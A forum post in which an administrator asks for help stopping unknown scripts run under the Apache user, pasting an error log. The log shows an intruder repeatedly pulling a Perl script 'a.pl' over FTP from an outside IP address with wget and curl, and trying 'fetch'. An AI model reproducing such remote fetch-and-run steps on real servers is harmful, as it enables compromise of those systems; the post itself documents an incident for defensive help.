Hi,
Someone/one or more internal process is executing script and running those under login apache. These scripts are being uploaded under /tmp, I've stopped executing under /tmp but that person or process is now calling directly calling apache to execute those script. Here are the logs of /var/log/httpd/error_log file
Code:
--02:58:21-- ftp://coreyrudlprod:*password*@72.167.232.36/a.pl
=> `a.pl'
Connecting to 72.167.232.36:21... connected.
Logging in as coreyrudlprod ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE a.pl ... 18518
==> PASV ... done. ==> RETR a.pl ... done.
Length: 18518 (18K)
0K .......... ........ 100% 21.1K=0.9s
02:58:25 (21.1 KB/s) - `a.pl' saved [18518]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 18518 100 18518 0 0 4589 0 0:00:04 0:00:04 --:--:-- 20641
sh: fetch: command not found
--02:58:41-- ftp://coreyrudlprod:*password*@72.167.232.36/a.pl
=> `a.pl.1'
Connecting to 72.167.232.36:21... connected.
Logging in as coreyrudlprod ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE a.pl ... 18518
==> PASV ... done. ==> RETR a.pl ... done.
Length: 18518 (18K)
0K .......... ........ 100% 15.6K=1.2s
02:58:45 (15.6 KB/s) - `a.pl.1' saved [18518]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 18518 100 18518 0 0 4271 0 0:00:04 0:00:04 --:--:-- 15530
sh: fetch: command not foundPlease help to resolve this issue.
Logs show that these are being uploaded by someone. Please help to resolve this issue.
stop scripts execution using apache
